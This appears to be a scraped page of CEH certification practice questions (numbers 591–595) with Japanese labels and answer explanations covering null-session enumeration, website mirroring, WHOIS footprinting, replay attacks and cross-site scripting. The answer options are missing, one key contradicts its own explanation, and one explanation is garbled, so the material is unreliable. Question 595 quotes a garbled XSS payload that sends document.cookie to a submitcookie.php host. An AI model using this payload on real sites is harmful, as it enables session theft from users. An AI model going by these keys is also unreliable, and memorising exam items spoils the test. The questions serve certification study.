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| Section | Objectives |
|---|---|
| Topic 1: Introduction to Ethical Hacking | - Ethical hacking concepts and methodology |
| Topic 2: Cloud and IoT Security | - Cloud computing security concepts - IoT security fundamentals |
| Topic 3: System Hacking | - Gaining access and privilege escalation - Malware threats and system exploitation |
| Topic 4: Wireless and Mobile Security | - Wireless network attacks - Mobile platform vulnerabilities |
| Topic 5: Cryptography | - Encryption, hashing, and cryptanalysis |
| Topic 6: Network Attacks | - Sniffing and session hijacking - Denial of Service (DoS/DDoS) |
| Topic 7: Web and Application Security | - Web application hacking techniques |
| Topic 8: Reconnaissance Techniques | - Footprinting and information gathering - Scanning networks and enumeration |
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質問 # 591
An ethical hacker needs to enumerate user accounts and shared resources within a company ' s internal network without raising any security alerts. The network consists of Windows servers running default configurations. Which method should the hacker use to gather this information covertly?
正解：D
解説：
CEH v13 explains that Windows systems running older or default configurations often allow anonymous or null session connections to IPC$ shares, enabling attackers to enumerate users, groups, shares, and other system details without authentication. Null session enumeration is highlighted as a classic yet effective technique because it generates minimal detectable activity and does not require credentials, making it ideal for stealth operations. CEH stresses that SMB null sessions are frequently overlooked in legacy or poorly hardened environments, especially when default permissions remain unchanged. Packet sniffing (Option A) may provide some data but requires traffic visibility and may be detected through monitoring tools. DNS zone transfers (Option B) require misconfigurations and usually do not reveal user list details. SNMP queries (Option D) require community strings and often generate alerts. Therefore, exploiting null sessions is the most covert and effective method for enumerating Windows systems under default configurations.
質問 # 592
A mid-sized insurance provider in Hartford, Connecticut authorizes a controlled red team engagement to evaluate its public-facing customer portal. Before progressing to active exploitation, the assessment team concentrates on understanding how the site is organized and how its content is interconnected.
Using automated tooling, they systematically retrieve publicly accessible pages along with associated resources such as scripts, media files, and referenced directories. The collected material allows the team to analyze navigation paths, hidden references, and structural relationships without repeatedly interacting with the live production system.
This preparatory effort is intended to build a detailed structural understanding of the application before later testing phases begin.
Within the web server attack methodology, which stage is most accurately demonstrated in this scenario?
正解：D
解説：
The activity involves systematically copying publicly accessible web pages and associated resources (scripts, media, directories) to build a local replica for analysis. This corresponds to website mirroring, where the structure and content of a target site are duplicated to study its navigation and relationships without continuous interaction with the live system.
質問 # 593
Richard, an attacker, targets an MNC. in this process, he uses a footprinting technique to gather as much information as possible. Using this technique, he gathers domain information such as the target domain name, contact details of its owner, expiry date, and creation date. With this information, he creates a map of the organization's network and misleads domain owners with social engineering to obtain internal details of its network. What type of footprinting technique is employed by Richard?
正解：C
解説：
WHOIS (pronounced because the phrase who is) may be a query and response protocol and whois footprinting may be a method for glance information about ownership of a website name as following:* name details* Contact details contain phone no. and email address of the owner* Registration date for the name* Expire date for the name* name servers
質問 # 594
What hacking attack is challenge/response authentication used to prevent?
正解：B
解説：
Challenge/response authentication is designed to prevent replay attacks. In this mechanism:
* The server sends a random "challenge" string.
* The client uses its secret (like a password or private key) to generate a response.
* The server verifies that the response matches what it expected for that challenge.
Since the challenge is random and changes each time, an attacker cannot simply capture and replay previous responses to gain unauthorized access.
From CEH v13 Courseware:
* Module 11: Session Hijacking
* Module 6: Authentication Protocols
CEH v13 Study Guide states:
"Challenge-response authentication prevents replay attacks by using dynamically generated nonces or challenge tokens that change with each session." Incorrect Options:
* B: Scanning attacks are not related to authentication mechanisms.
* C: Session hijacking involves active takeovers, not replaying login attempts.
* D: Password cracking targets password hashes, not session tokens.
Reference:CEH v13 Study Guide - Module 11: Authentication Mechanisms and Replay Attack MitigationRFC 2831 - Digest Access Authentication
質問 # 595
Judy created a forum, one day. she discovers that a user is posting strange images without writing comments.
She immediately calls a security expert, who discovers that the following code is hidden behind those images:
<script>
document.writef<img src="https://Ioca(host/submitcookie.php? cookie ='+ escape(document.cookie)+ " />); <
/script>
What issue occurred for the users who clicked on the image?
正解：D
解説：
document.write(<img.src=https://localhost/submitcookie.php cookie =+ escape(document.cookie) +/>); (Cookie and session ID theft)
https://www.softwaretestinghelp.com/cross-site-scripting-xss-attack-test/ As seen in the indicated question, cookies are escaped and sent to script to variable 'cookie'. If the malicious user would inject this script into the website's code, then it will be executed in the user's browser and cookies will be sent to the malicious user.
質問 # 596
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